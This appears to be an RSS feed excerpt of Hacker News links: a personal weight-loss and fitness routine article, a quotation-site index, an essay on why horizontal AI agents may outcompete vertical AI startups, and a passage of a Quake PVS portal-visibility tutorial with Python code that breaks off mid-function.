Some thoughts that keep me going:

  • I can achieve something difficult that even some great or famous people have struggled with.
  • I'll feel "light as a feather" and energized throughout the day, carrying less weight around.
  • Looking good, with a body that is pleasant to behold, is a plus, for myself and possibly others.
  • I see myself keeping physically fit into my 70s, regardless of what happens to me, health or otherwise. This is a life-long vision.
  • Avoiding serious health issues associated with obesity and unfitness, such as cardiovascular issues and cancer, is well worth the effort.

When all else fails, I just imagine having ripped abs while partying on a yacht in Fiji. That usually does it! 😄

Stock photo of people jumping off a boat off the coast
Stock photo of people jumping off a boat off the coast

These all visions congeal into an image in my mind of a successful, active, fit, mature adult.

Mind-state#

I practice a few minutes of daily mindfulness meditation, which helps to reduce anxiety and reduce mental blocks. During this I take some time to wish strength, health and wellness, both for those I know, and for myself.

There are some other mental tricks I use to manage anxiety, such as focusing on next actions and the future, while deliberately moderating expectations and reducing thoughts about the past.

Understanding and harnessing the effort-reward cycle I also find important. For example, I try to do my morning exercise before having my first shower or drinking my first coffee. This helps motivate me to do the exercise (effort) in order to get the reward (shower, coffee). I use a similar cycle for my afternoon/evening exercise. First I exercise (effort) then I enjoy dinner/supper (reward). These cycles can show up in all kinds of little parts of life, so I try to make best use of them whenever possible.

Monitoring#

Any long-term endeavour should have appropriate monitoring.

I've given up on measuring body weight or mucking around with measuring tape.

A quick look in the mirror on a regular basis seems the surest measure!

And the best way to avoid making excuses.

There is one other kind of monitoring I consider crucial: blood tests. These can be obtained relatively inexpensively (at least in Australia, the UK, etc). You take the results to your GP/doctor and they tell you if you have any deficiencies. In my case, there was a minor calcium deficiency, which I remedied by adding a little yogurt to my diet and taking Vitamin D tablets (to aid absorption).

Routine#

“We are what we repeatedly do. ... Excellence, then, is not an act but a habit.”

– ARISTOTLE

“Don't Make Me Think”

– Steven KRUG

What has helped me the most is simply maintaining a daily routine. Having a consistent, repeatable layout to my day ensures that I keep acting toward my goal.

My routine has functioned as a kind of "fall back" which I can execute almost mindlessly, without stressing and lapsing. It's a simple default that enables me to accomplish my tasks as easily and directly as possible, without hesitation or doubt.

This has actually been good for my mental health too. I'm less anxious when I don't have to constantly worry about what to do next. Of course, I do sometimes change my routine, but I do so in a relaxed, contemplative frame of mind, usually not in the heat of the moment.

I've been able to maintain my routine pretty consistently throughout international travel, changing work hours and various ups and downs of life.

One trick is to make the routine flexible and focus primarily on activities, rather than timing. So if I miss a morning workout, it's Ok, not the end of the world. I just need to do that workout in the evening instead. So the times are flexible, while the activities remain solid.

I also have certain routines in the evening that help me to wind down, relax and avoid snacking. These include dimming the lights to create a cosy atmosphere, according to the famous Scandinavian Hygge effect. Even on travel this can be done quite effectively with a portable USB lamp and/or tweaking my laptop display configuration. I also like to floss and brush my teeth, which gives me a fresh taste that helps to avoid any temptation to eat.

Exercise#

Exercise is a critical part of my routine. Exercise builds and maintains muscle tone and sustains health (including mental) and energy levels.

There's a fantastic cumulative effect with exercise: as you lose fat and gain muscle, the exercise gets easier and you feel less hungry, which make it easier to exercise more, etc. The challenge, of course, is to maintain consistency and not slack off.

All the exercises I'm about to list are:

  • Reasonably environmentally friendly do not by nature involve any damage to the environment
  • Can be done in practically any major city or town, at any time of day
  • Are healthy and low impact on your body, unlikely to cause serious injuries when done long term, assuming they're done with reasonable care

I try to do at least one session of HIIT, strength training and walking every day, and some swimming every week.

Strength training

Here's a list of the specific strength exercises I do. I like to do body weight exercises, also known as calisthenics. These include:

  • Pull-ups and muscle-ups on the bar. Forward and reverse grip. Several sets, each as much as I can while keeping form.
  • Push-ups. Lateral and tilted up or down. On the bars or the floor.
  • Dips. On the bar or between two chairs.
  • Ab crunches. While resting on the bar or hanging off the bar, or lying on the floor with a weight.
  • Step-ups onto a low bar, large stair step, rock, or even bedside.
  • Military presses with weight or resistance band.
  • Bicep curls with with weight or resistance band.
  • Some other body-weight exercises like planking, squats and lunges.

In case you didn't notice, many of these can be done either with or without the gym! I can just use body weight, furniture or outdoor facilities. This makes the exercise routine easy to maintain while traveling and resilient to unexpected changes in the my day plan.

Strength-training builds muscle, which aids weight loss in multiple ways:

  • Speeds up metabolism, aiding digestion and fat loss
  • Improves general stamina for cardio
  • Good for general health - heart, lungs, etc.

I aim for 3-5 strength training sets every day.

HIIT

I've recently been practicing high-intensity interval training. Here I do body-weight cardio exercises at a high intensity, with 20 second breaks, for a period of 5-10 minutes.

HIIT seems to generally accelerate my progress. Plus, I've seen plenty of studies showing its benefit for overall health.

The real beauty of HIIT is its simplicity, minimalism and time efficiency. No equipment is needed, just a little floor-space and discipline! And one can almost always spare 5-10 minutes out of a 16-hour waking day. These factors make it simple to maintain HIIT during travel or changes to my day plan.

My HIIT routine varies, but typically consists of:

  • Burpees
  • Squat-jumps
  • Star-jumps
  • Push-ups
  • Back squeeze while lying on chest
  • Jogging on the spot

I found HIIT to be the toughest exercise to begin, yet the easiest to complete once started. Funny that!

YouTube videos like this one are a helpful aid: Intense 15 Minute BURPEE ONLY HIIT Workout for Serious Results!.

I aim for 1 HIIT session every second day.

Walking

Yes, simply walking.

The real beauty of walking, apart from being minimal and easy to do almost anywhere on travels, is how it can be combined with other activities. With smartphone in hand, I can tune in to a fantastic array of audio material: audiobooks, podcasts, online courses and great music.

I can also combine it with traveling to appointments, shopping, remote meetings, connecting with nature (bush-walking) and just general exploration of the world. 🙂

I aim for 30 minutes to 1 hour of walking every day.

Swimming

I like to do laps at the local pool. Maybe pool-swimming is not 100% good on the environmental scale, so I might someday switch to ocean or lake swimming. Swimming is a great all-round cardio workout and very safe and low-impact. And being in the water is fun!

I aim for one session per week.

Standing

I've been trying to stand for more hours of the day. Studies have shown that spending more time standing is positive for overall fitness and burns more calories. Most modern offices have standing desks. At home it's easy to turn almost any surface into a standing desk using a sturdy cardboard box or a crate or two.

I aim for at least 4 hours of standing per day.

Managing pain

“God ... does not pet the good man: He tries him.”

– Seneca

To be sure, there's some physical pain involved in regular exercise. Feeling fatigued, occasional muscle aches, the odd heel spur.

I don't have any one sure answer to this, but more like a set of small "mind hacks" that help me to manage pain and stay the course.

  • Exercise even when I don’t want to. Especially when I don't want to, so as to reinforce the habit.
  • Meditation, mindful breathing. Deep inhalations, breathing into the pain, being with my body.
  • Effort-reward cycle. Making the effort with the knowledge that I'll feel better at the end. (And yes, 99% of the time I do feel better!)
  • Awareness of body. Especially the effect of heat/cold, caffeine, sleep. When drowsy or lethargic, I remind myself of external factors to avoid excusing myself from putting in work.

Enjoying the weather

I've found weather isn't usually a reason not to exercise. Actually, with the right mindset, I find the weather more of an incentive.

When it's hot and sunny, I enjoy the intensity of the sunshine (with generous application of sunscreen, of course). When its cold and wet, I enjoy the calming effect of the coolness and rain (under the comfort of a sturdy umbrella). When it's humid and cloudy... well... I tell myself to toughen up! 😄 Recalling Stoic quotes can help.

Suitable clothing really helps here. When it's hot, I wear minimal clothes, light materials and clothing styles that free up my body, like shorts and singlets. When it's cooler, I wear clothes that conserve heat while keeping my body flexible, like close-fitting long-sleeve wool shirts and tight pants. I like to wear good quality, comfortable shoes, typically hiking boots. Wearing comfortable, clean, quality clothing really makes it easier to motivate myself to get out and exercise!

Diet#

I've settled on the mediterranean diet as my diet of choice. This diet is plant-based, mostly vegetables and whole grains, with some added fish, dairy and fruit, and plant-based fats like olive oil. It's high in nutrients, filling, low-calorie and I find it delightful!

Environmentally it's maybe slightly less optimal that pure veganism/vegetarianism, due to the fish and dairy content. I am investigating more sustainable options such as synthetic fish and dairy alternatives.

Meals

Meals I prepare regularly:

  • Fruit. In-season berries or citrus fruits. Combined with a cup of plain or sugar-free flavoured yogurt. This combo I find especially refreshing in hot weather and/or just after an intense workout. High in vitamin C.
  • Sardines/Salmon/Oysters. From a tin (bones included). Fried or fresh. Seasoned with lemon/lime juice or vinegar and topped with ground pepper. Side of wholemeal pasta or a bread roll. Maybe complimented with tomato sauce (simply onions fried in tomato paste and vinegar) and/or a quarter of avocado. This kind of seafood is high in protein, calcium, zinc, magnesium, etc.
  • Veggies. Steamed in a pot. Broccoli, cauliflower, kale, brussels sprouts, etc. With some added carrot, capsicum, red onions, button mushrooms or whatever else I feel like. Sprinkled with vinegar, a single stick of cheddar cheese (cubed) and generous herbs and spices, including hot chilli powder and a carefully measured tablespoon of olive oil. Veggies are high in vitamins and minerals, fibre and antioxidants.
  • Oatmeal. One half-cup of oats mixed with a teaspoon of cocoa in a small bowl. Soaked in water for a few minutes - hot or cold. Cooked for a few minutes if I have a microwave. Topped with a tablespoon of peanut butter, 5 small pieces of dried fruit and some cinnamon powder. The dried fruit adds a perfect level of sweetness and chewiness with minimal calories and practically zero sugar spike. Makes a great dessert!

These meals can all be prepped in ~20-30 minutes each and I'm rarely spending more than 45 minutes per day in the kitchen.

The ingredients are cheap, available, healthy, reasonably environmentally friendly, simple to store and cook.

  • Cost: Mostly cheap and can be purchased in bulk or found in aisles. The fresh fruit and veggies can be purchased frozen to save cost and studies show that in frozen form they are just as nutritious as refrigerated, and possibly even more nutritious!
  • Availability: Thanks to the wonders of modern globalised trade, I've found most of these are available in most major cities and metro areas in much of the developed world. I do donate to food banks and other initiatives, with the hope that we will eliminate hunger and malnourishment for all people.
  • Health: Nutritious, whole food, no added sugar, high-fibre, high in anti-oxidants, low-calorie.
  • Environment: There's no beef or chicken and the dairy portions are modest. Even the seafood is relatively good - consuming bottom-feeders like sardines has a lower environmental impact.
  • Storage: Most of the stuff can just be kept in a cupboard. I'll usually pick up the veggies the same day I eat them, but they keep pretty well in the fridge if I decide to do a weekly shop. Frozen veggies can, of course, be kept in the freezer indefinitely. An additional advantage of plant foods is that they tend to spoil less and don't produce harmful bacteria when not cooled (say, when the power goes out, the fridge fails or you just forget to put them in the fridge).

Drinks

I only drink water and plain coffee or tea (no sugar or milk, zero-calorie, always before 3 PM).

Drinks should always be zero-calorie, in my opinion. Liquids are the worst way to get calories - they're typically over-processed, resulting in insulin spikes. And you don't get to feel full and satisfied, because you're consuming them so fast. I'll never understand why some people are into shakes; I find them inconvenient, complicated and messy.

Portion control

Importantly, I control and measure all the ingredients out. This gives me pretty much total control over calories.

I don't use any tricky or sophisticated equipment, just simple measuring rules, such as the following:

  • Hand-full (pasta)
  • Punnet (berries)
  • Pot (yogurt)
  • Can (fish)
  • Piece (citrus fruit, bread roll, dried fruit)
  • Quarter (avocado, potato)
  • Measuring cup scoop (oats)
  • Tablespoon (olive oil, lemon/lime juice, peanut butter)
  • Stick (cheese)

When preparing any meal, I simply follow the same predictable routine, with the same quantities. For example, only 2 hand-fulls of pasta per day, or only 1 stick of cheese.

I can work out the calories fairly easily, by examining the packaging or searching online, then dividing by the quantities. For example, 2 hand-fulls of pasta are about 1/8th of a pack, which is ~436.25 calories.

Here's an example of a calorie table, based on a spreadsheet I currently use.

Food itemDaily portionCalories
Tuna1 small can80
Sardines1 small can145
Salmon2 small cans100
Yogurt1 small pot120
Strawberries1 punnet100
Chickpeas1 can310
Vinegar2 tablespoons30
Tomato paste2 tablespoons100
Avocado1 quarter80
Cheese1 stick105
Brussels sprouts1 bag210
Olive oil1 tablespoon120
Oats1 cup230
Peanut butter2 tablespoons220
Seeds½ teaspoon35
Hazelnuts5 pieces25
Dates5 pieces80
Cocoa2 teaspoons75
Honey1 teaspoon30

With these simple measurements, I don't have to think much about the quantities when preparing and consuming meals. I just follow the routine "blindly" and rely on "force of habit" to override and overwhelm any possible urge to cheat and add too much or too little. This consistency has helped me overcome temptation to overeat or under-eat. It took some time to build up the habit, and I've had occasional relapses, but overall I've maintained my diet plan more often than not.

By measuring ingredients in a standardised, repeatable, "unthinking" way, I can "lock in" a certain number of calories per day. This allows me fine-grained calorie control. This way I can create a long-term caloric deficit in a balanced, controlled way and avoid the dreaded "yo-yo dieting", where extremes of under-eating and over-eating lead to stress and missing weight-loss goals.

With this careful diet plan in place, I only need to store the necessary ingredients in my home. So I have no unhealthy foods lying around to be accidentally snacked on. This makes it easy to stick to my diet and, to paraphrase Rico Mariani, "fall into the pit of success". Even within my approved list of ingredients, I keep the higher-calorie items (such as peanut butter and dried fruit) stowed away in the fridge or drawer, out of harm's way. 🙂 This habit of minimizing stored food works great with my minimalist lifestyle and is also convenient for extended periods of travelling.

Enjoying food

I try to eat a bit slower and more mindfully. Famous spiritualist Thích Nhất Hạnh wrote a whole book on this topic: How to Eat, which I've started reading. Some studies show that if we take 20 minutes or more to finish a meal, we'll feel more satisfied.

I like to eat while involved in some relaxing, social and/or moderately stimulating activity. Typically while in an online meetup, interacting in an online chat or forum, with friends and family, and/or watching or listening to something educational such as history or nature documentary.

One thing I noticed since childhood is that the layout of the food can really make eating an absolute joy! For example, I like to add small "sides" to my dishes that really pack a flavour and spice punch. I can combine different parts of the plate as I eat, creating a rich, varied experience. I noticed this kind of "mix-and-match" mode of eating is prominent in the more traditional world cuisines, no doubt for good reason.

  • South Indian cuisine - thali
  • Vietnamese cuisine - spring roles
  • Spanish cuisine - tapas
  • Mexican cuisine - salsas

So with my regular diet, I take inspiration from this technique of having small side portions, but adapt it to my own calorie control and nutrient constraints.

Fasting

I like to do most of my exercise in the morning or afternoon, when I'm feeling lightest and most alert. So I generally fast most of the day (except for coffee and a small post-workout snack) and do my main eating in the early to late evening. This is known as the "warrior diet".

This is a simple repeatable eating schedule, since there's only one main period of cooking/heating and one place in which to do most of the eating. It's also very satisfying and filling to consume 2,000+ calories in a 4-hour period. I'm never hungry at the end of it, as long as I finished it all and drank enough water. And I don't get hungry much during the day either, since I'm pre-occupied with work, exercise and whatever else I'm doing.

Avoiding temptation

Whenever I'm feeling some random unexpected hunger pang (which is pretty rare these days, thanks to the routines described in this article) I try to run through a mental checklist and this usually sorts me out.

  • Am I feeling stressed? Maybe I need a brief meditation or even just a few minutes of simple box-breathing. This is usually not a problem while out, at work or elsewhere.
  • Am I uncomfortable? Maybe I just need to put on a coat or jacket, turn on the air conditioning briefly or go to the toilet.
  • Am I hydrated? Thirst and hunger can be easily confused. I always carry a water bottle with me so I can hydrate regularly.
  • Am I tired? This is more tricky during the day, but in the evening I can usually go to bed earlier if I need a bit more sleep.

I've found that 9/10 times, it's not that I'm genuinely hungry, but that I'm using food as a distraction to cope with some other issue. If I can quickly find the root-cause and address it, I have no need of food.

Humans need to eat, but we don't need to eat that much, and certainly not as much as is pushed on us by the capitalist/consumerist system. If we feel hungry outside of mealtimes, it's likely for some other reason, not a genuine need for food.

There are still a few simple, cheap, easy fall-backs if I really desperately need to consume something tasty outside my usual mealtime.

  • Small piece of fruit. Usually 20-50 calories is pretty negligible and I eat it slowly to enjoy it. Healthy and great while on-the-go.
  • Pickled veggies. Especially cucumber and carrot. Pretty low-calorie and healthy.
  • Mint tea. This refreshing drink provides a pleasant freshness, with zero calories or caffeine.
  • Brushing my teeth again. I don't go nuts with this, but if I want to freshen up during the day, this is healthy zero-calorie way.

Finally, some little habits that give me a motivational boost sometimes:

  • Simply wait for 20 minutes, most cravings will pass
  • Look forward to tomorrow's activities including eating

Supplements

I'm not very big on supplements, due to the cost, complexity and dubious health benefits. I do take one vitamin D tablet per day if I'm not getting out in the sun much.

Conclusion#

I hope you found some utility and inspiration in this article!

Maintaining fitness and health is best treated as a long-term game in my opinion. The changes should be gradual, cumulative and sustainable.

In my experience, the surest way to lose unwanted fat is to maintain a calorie deficit over a long period of time by exercising vigorously on a daily basis and sticking to a healthy and enjoyable eating routine.

The toughest aspect is to persist over long periods of time, which is why I emphasize simplicity, convenience, health, motivation and enjoyment! But Stoicism is a great help when times do get tough.

Optimizing my exercise and diet has been a fun and fascinating (though sometimes challenging) journey. I see it as a kind of infinite game, something I can always get better/smarter at and that enriches my life.

Further reading / viewing#

]]>
https://conwy.co/articles/lose-weight hacker-news-small-sites-42752864 Sun, 19 Jan 2025 01:34:33 GMT
<![CDATA[A Commonplace Book]]> thread link) | @turtleyacht
January 18, 2025 | http://3stages.org/quotes/index.html | archive.org

A personal collection of quotations

Search Help   |   Advanced Search

Browse:
Authors | Titles | Subjects | Word
Quotes (sort of) about the Web | Quotations about Quoting
Get a random quote

About this site | Other Quotation Sites

Last updated on May 12 2024.
There are 2884 quotations in the database.
14 recent additions | RSS
]]>
http://3stages.org/quotes/index.html hacker-news-small-sites-42752812 Sun, 19 Jan 2025 01:19:56 GMT
<![CDATA[AI Founder's Bitter Lesson. Chapter 2 – No Power]]> thread link) | @kmetan
January 18, 2025 | https://lukaspetersson.com/blog/2025/power-vertical/ | archive.org

tl;dr:

  • Horizontal AI products will eventually outperform vertical AI products in most verticals. AI verticals were first to market, but who will win in the long run?
  • Switching costs will be low. Horizontal AI will be like a remote co-worker. Onboarding will be like onboarding a new employee - giving them a computer with preinstalled software and access.
  • AI verticals will struggle to find a moat in other ways too. No advantage in any of Helmer’s 7 Powers.
  • … except for the off chance of a true cornered resource - something both absolutely exclusive AND required for the vertical. This will be rare. Most who think they have this through proprietary data misunderstand the requirements. Either it’s not truly exclusive, or not truly required.

AI history teaches us a clear pattern: solutions that try to overcome model limitations through domain knowledge eventually lose to more general approaches that leverage compute power. In chapter 1, we saw this pattern emerging again as companies build vertical products with constrained AI, rather than embracing more flexible solutions that improve with each model release. But having better performance isn’t enough to win markets. This chapter examines the adoption of vertical and horizontal products through the lens of Hamilton Helmer’s 7 Powers framework. We’ll see that products built as vertical workflows lack the strategic advantages needed to maintain their market position once horizontal alternatives become viable. However, there’s one critical exception that suggests a clear strategy for founders building in the AI application layer.

As chapter 1 showed, products that use more capable models with fewer constraints will eventually achieve better performance. Yet solutions based on current models (which use engineering effort to reduce mistakes by introducing human bias) will likely reach the market first. To be clear, this post discusses the scenario where we enter the green area of Figure 1 and whether AI verticals can maintain their market share as more performant horizontal agents become available.

Figure 1, performance trajectory comparison between vertical and horizontal AI products over time, showing three distinct phases: traditional software dominance, vertical AI market entry, and horizontal AI advancement with improved models.

Of course, Figure 1 is simplistic. These curves look different depending on the difficulty of the problem. Most problems which AI has potential to solve are so hard that AI verticals will never reach acceptable performance, as illustrated in Figure 2. These problems are largely out of scope and not attempted by any startups today. So even if they make up the majority of potential AI applications, they represent a minority among today’s AI applications.

Figure 2, unlike Figure 1, this shows a harder problem where vertical AI products never reach adequate performance levels, even as horizontal AI achieves superior results with improved models.

For problems simple enough to be solved by current constrained approaches (Figure 1), the question becomes: can AI verticals maintain their lead when better solutions arrive?

To paint the picture of the battlefield: Vertical AI is easy to recognize, as it is what most startups in the AI application layer build today. Chapter 1 went into details of the definitions here, but in short, they achieve more reliability by constraining the AI in predefined workflows. On the other hand, horizontal AI will be like a remote co-worker. Imagine ChatGPT, but it can take actions on a computer in the background, using traditional (non AI) software to complete tasks. Onboarding will be like onboarding a new employee - the computer would have the same pre-installed software and account access as you would give a new employee, and you would communicate instructions in natural language. There will be no need to give it all possible sources of data for the task because it can autonomously navigate and find the data it needs. Furthermore, we will assume that this horizontal AI will be built by an AI lab (OpenAI, Anthropic, etc.), as chapter 4 discusses why this is likely.

Note that I am referring to the horizontal agent in an anthropomorphic way, but it does not need to be as smart as a human to perform most of these tasks. This is not ASI. It will, however, be smart enough to write its own software when it cannot find available alternatives to interact with. I think this is realistic to expect in relatively short timelines because coding is precisely the area where we see the most progress in AI models.

Of course, there is a discussion to be had whether this will happen, and if so, when (chapter 3). But I have met a surprising number of founders who believe this will happen, and still think their AI vertical can survive this competition.

I personally lost to this competition once. When OpenAI released ChatGPT in November 2022, I wanted to use it to explain scientific papers. However, it couldn’t handle long inputs (longer inputs require more compute, which OpenAI limited to manage costs). When the GPT-3.5 API became available, I built AcademicGPT, a vertical AI product that solved this limitation by breaking the task into multiple API calls. The product got paying subscribers, but when GPT-4 launched with support for longer inputs, my engineering work became obsolete. The less biased, horizontal product suddenly produced better results than my carefully engineered solution with human bias.

I was not alone. Jared, partner at YC, noted in the Lightcone podcast: “that first wave of LLM apps mostly did get crushed by the next wave of GPTs.” Of course, these were much thinner wrappers than the vertical AI products of today. AcademicGPT only solved for one thing, input length, but the startups that create sophisticated AI vertical products solve for several things. This might extend their lifespan, but one by one, AI models will solve them out of the box, just as input length was solved when GPT-4’s context window increased. As we saw in chapter 1, as models get better, they will eventually find themselves competing with a horizontal solution that is better in every aspect.

Hamilton Helmer’s 7 Powers provides a nice framework for analyzing if they can stand this competition. This framework identifies seven lasting sources of competitive advantage: Scale Economies, Network Economies, Counter-Positioning, Switching Costs, Branding, Cornered Resource, and Process Power.

Switching Cost

Customer retention through perceived losses and barriers associated with changing providers. This makes customers more likely to stay with the current provider even if alternatives exist.

Integration/UX

Users might have grown used to the UI of the vertical AI product, but this is unlikely to be a barrier because of the simple nature of onboarding horizontal AI. It will be like onboarding a new employee, which you have done many times before. Or as Leopold Aschenbrenner put it: “The drop-in remote worker will be dramatically easier to integrate—just, well, drop them in to automate all the jobs that could be done remotely.”

Furthermore, the remote co-worker will evolve from an existing horizontal AI product which you are already used to. Most people will already be familiar with the UI of ChatGPT. As a last point, horizontal AI products will be able to greatly benefit from being able to seamlessly share context across tasks.

Dialog in natural language seems to be the best UI, as it is the one we have chosen in most of our daily interactions. However, there are some areas where a computer UI is more convenient. Of course, traditional software like Excel still exists and can be used to interact with the horizontal agent in these cases, but I am open to the possibility that there is a niche where neither traditional software nor natural language dialog is optimal. AI verticals that operate in such a niche (and innovate this UI) would find switching cost barriers. However, their moat would not be AI-related; non-AI versions (which the horizontal AI could use) would be equally valuable.

Sales

Sales will not be a barrier if the horizontal product evolves from a product you already have. Many companies have already gone through procurement of ChatGPT, and this is only increasing.

Price

The closest thing we have today to the horizontal AI product we are dealing with is Claude Computer-use, which is very expensive to run because of repeated calls to big LLM models with high resolution images. AI verticals often optimize this by limiting the input to only include what (they think) is relevant. But the cost of running models has been on a steep downward trajectory. Because of competition between the AI labs, I expect this to continue. Furthermore, having a single product for many verticals instead of licensing many will save cost.

Counter Positioning

Novel business approach that established players find difficult or impossible to replicate. This creates a unique market position that competitors cannot effectively challenge.

At first glance, vertical products might seem to have counter positioning through their ability to tailor solutions to specific customers. But this advantage only exists if it actually makes your product better than the competition, which it is not in the scenario we are examining. See chapter 1 for more details.

In fact, the situation demonstrates counter positioning advantages in the other direction. Horizontal solutions scale naturally with each model improvement, while vertical products face a dilemma: either maintain their constraints and fall behind in performance, or adopt the better models and lose their differentiation.

Scale Economy

Production costs per unit progressively reduce as business operations expand in scale. This advantage allows companies to become more cost-efficient as they grow larger.

Scale Economies are equally available to both approaches. Vertical products scale efficiently like traditional SaaS businesses. But horizontal solutions share this advantage and can push prices down faster by spreading R&D cost of model development across users from many different verticals.

Network Economy

Product or service value for each user rises with expansion of the total customer network. Each new user adds value for all existing users, creating a self-reinforcing growth cycle.

Network Economies tell a similar story to Scale Economies. Both vertical and horizontal products gather user data to improve their product. However, horizontal solutions have an inherent advantage - they can use the data to train better models, creating a broader feedback loop that improves performance across all use cases.

Brand Power

Long-lasting perception of enhanced value based on the company’s historical performance and reputation. A strong brand creates customer loyalty and allows for premium pricing.

Brand power is typically out of reach for companies at this scale. See Figure 3. It could be argued that OpenAI and/or Google has it, but no startup doing vertical AI will.

Process Power

Organizational capabilities that require significant time and effort for competitors to match. These are often complex internal systems or procedures that create operational excellence.

Similarly, process power is typically out of reach for companies at this scale. See Figure 3.

Figure 3, the three phases of business growth and the Powers most often found at each stage.

Cornered Resource

Special access to valuable assets under favorable conditions that create competitive advantage. This could include exclusive rights, patents, or data.

So far, no power has been able to challenge AI verticals in their competition with horizontal AI co-workers. However, a cornered resource breaks this pattern. Such a resource will be very rare. The resource has to be truly exclusive—that is, it should not be available for sale at any price. It also has to be truly required to operate in that vertical, meaning without it, your product cannot succeed regardless of other factors. There will be very few verticals that find such a resource. I think several AI verticals believe they have this advantage through some data, but in reality, they don’t. The data is either not truly required or not exclusively held. However, some will find such a resource. For example, they might have a dataset that could only be gathered during a rare event. As long as they maintain control of it, the superior intelligence of horizontal AI won’t matter.

In conclusion, in the scenario where a vertical AI product was first to market but now faces competition from a superior solution based on horizontal AI, almost all vertical AI solutions will struggle to find a barrier. By examining Helmer’s 7 powers, we see that having a cornered resource might be the only moat AI verticals can have. This suggests that AI founders in the applications layer should perhaps spend much more time trying to acquire such a resource than anything else, as we will discuss further in chapter 4. Verticals that don’t create a barrier will be overtaken by horizontal solutions once they become competitive. This happened to me with AcademicGPT. AcademicGPT solved just one problem which horizontal solutions couldn’t solve at the time, but this will be the fate for more sophisticated AI verticals that solve multiple ones. It will just take slightly longer. However, the elephant in the room is the assumption that the timeline for a remote co-worker is short. This brings us to chapter 3, where we’ll explore how the AI application layer is likely to evolve. We’ll make concrete predictions and investigate the potential obstacles to this transition - including model stagnation, regulatory challenges, trust issues, and economic barriers.

Thanks to Axel Backlund for the discussions that led to this post.

Follow me on X or subscribe via RSS to stay updated.

]]>
https://lukaspetersson.com/blog/2025/power-vertical/ hacker-news-small-sites-42752696 Sun, 19 Jan 2025 00:52:07 GMT
<![CDATA[Portal flow brings it all together]]> thread link) | @ibobev
January 18, 2025 | https://30fps.net/pages/pvs-portal-flow/ | archive.org

This is the fourth and final installment in the “Demystifying the PVS” series.

  1. Portals and Quake
  2. Coarse base visibility
  3. Fine visibility via clipping
  4. Portal flow brings it all together

So far we have

  • constructed a graph with directed portals,
  • computed a list of possibly visible leafs per portal, and
  • learned how to estimate visibility through a sequence of three portals.

Almost done! We mix these three ingredients to get the final leaf-to-leaf visibilities. We follow the same recipe as we did in the coarse pass: A depth-first traversal from a portal’s destination leaf that recursively enters neighboring leaves through portals. It’s just spiced up with more accurate visibility tests.

Once all portals are ready, each leaf looks at its portals and adds all potentially visible leaves from each to its own PVS. Finally we’re done.

Recursive clipping by example

To recap what was explained previously, we have three portals: source, pass, and target. The source portal is the first one visible and where the traversal starts. The pass portal represents an opening known to visible from the source portal. The target portal is being tested for visibility through the other two portals. That’s done by clipping.

Many possible portal sequences are tested for each source portal. It’s not like in the coarse pass where a quick geometric test was enough. This time visibility through the whole sequence is captured in a shrinking pass portal.

Below is an illustrated step-by-step example of the algorithm. I’ve labeled the portals with their variable names used in my code.

Clipping a portal sequence

Your caption text here

Flowing through portals in Python

Like said, the traversal happens like in the coarse visibilty case. A sketch looks like this:

# A simplified sketch of the full visibility calculation code.
# Doesn't actually run!

# Called once for each portal 'Ps'
def portal_flow(Ps: Portal):

  # The recursive leaf visitor function
  def leaf_flow(leafnum: int, mightsee: np.ndarray)
    Ps.vis[leafnum] = True  # Mark leaf visible

    for pt in leaf.portals:
      Pt = leaves[pt]

      # Can the previous portal possibly see the target leaf?
      if not mightsee[Pt.leaf]:
        continue

      # [Some portal clipping here]

      # If portal 'Pt' wasn't clipped away, recurse through it
      if Pt is not None:
        leaf_flow(...)
    
  # Start the traversal from Ps's destination leaf
  leaf_flow(Ps.leaf, Ps.mightsee)

# Call for every portal
for prt in portals:
  portal_flow(prt)

# Now each portal's 'vis' array has been populated.

The portal_flow function starts the traversal, just like base_portal_flow did in the coarse pass. The callstack looks something like the inset below.

The visibility results depend on the whole path traversed so far. That’s why in the sketch leaf_flow takes as the argument mightsee, a filtered portal-to-leaf visibility array.

In the beginning, mightsee contains source portal’s coarse visibility result: the leaves that may be visible from it. The array gets progressively thinner as the recursion proceeds. For the example sequence shown earlier it looks like below.

step  leaf  mightsee (x = visible)
----  ----- -------------------------
1.    8     [ x x x x x x x x . . . ] 
2.    7     [ x x x x x x x . . . . ]
3.    6     [ x x x x x x . . . . . ]
4.    5     [ x x x . x . . . . . . ]
5.    3     [ x x x . . . . . . . . ]
              1 2 3 4 5 6 7 8 9 1011   leaf

Notice how on the last step in leaf 3, we can’t enter back to leaf 5 because it’s not marked visible anymore in mightsee. The recursion may terminate based on just the array becoming so sparse that no more portals get entered. A portal getting clipped away completely is another way.

The full implementation

Here’s the whole thing. Compared to the sketch above, there’s more clipping, there’s filtering of the might array, and a new early out test for portals that don’t lead to any leaves we haven’t already seen.

# vis.py's recursive portal clipping

# Allocate the portal->leaf visibility matrix
portal_vis = np.zeros((num_portals, num_leaves), dtype=bool)

# Assign each portal a row of the matrix
for pi, Pi in enumerate(portals):
  Pi.vis = portal_vis[pi, :]

# We can accelerate the processing a bit if we know which portals already
# got their final visibility
portal_done = np.zeros(num_portals, dtype=bool)

def portal_flow(ps: int, Ps: Portal):
  def leaf_flow(
    leafnum: int,
    mightsee: np.ndarray,
    src_poly: Winding,
    pass_plane: Plane,
    pass_poly: Union[Winding, None],
  ):
    Ps.vis[leafnum] = True

    # Test every portal leading away from this leaf
    for pt in leaves[leafnum].portals:
      Pt = portals[pt]  # Candidate target portal

      # Can the previous portal possibly see the target leaf?
      if not mightsee[Pt.leaf]:
        continue

      # Use the final visibility array if the portal has been processed
      if portal_done[pt]:
        test = Pt.vis
      else:
        test = Pt.mightsee

      # Filter away any leaves that couldn't be seen by earlier portals
      might = np.bitwise_and(mightsee, test)

      # Skip if we could see only leaves that have already proven visible
      if not any(np.bitwise_and(might, np.bitwise_not(Ps.vis))):
        continue

      # Clip the target portal to source portal's plane
      if not (target_poly := clip_winding(Pt.winding, Ps.plane)):
        continue

      # Immediate neighbors don't need other checks
      if pass_poly is None:
        leaf_flow(Pt.leaf, might, src_poly, Pt.plane, target_poly)
        continue

      # Make sure the target and source portals are in front and behind
      # of the pass portal, respectively

      if not (target_poly := clip_winding(target_poly, pass_plane)):
        continue

      if not (src_clipped := clip_winding(src_poly, -pass_plane)):
        continue

      # Finally clip the target and source polygons with separating planes

      if test_level > 0:
        target_poly = clip_to_separators(
          src_clipped, Ps.plane, pass_poly, target_poly)
        if not target_poly:
          continue

      if test_level > 1:
        target_poly = clip_to_separators(
          pass_poly, pass_plane, src_clipped, target_poly, backside=True
        )
        if not target_poly:
          continue

      if test_level > 2:
        src_clipped = clip_to_separators(
          target_poly, Pt.plane, pass_poly, src_clipped)
        if not src_clipped:
          continue

      if test_level > 3:
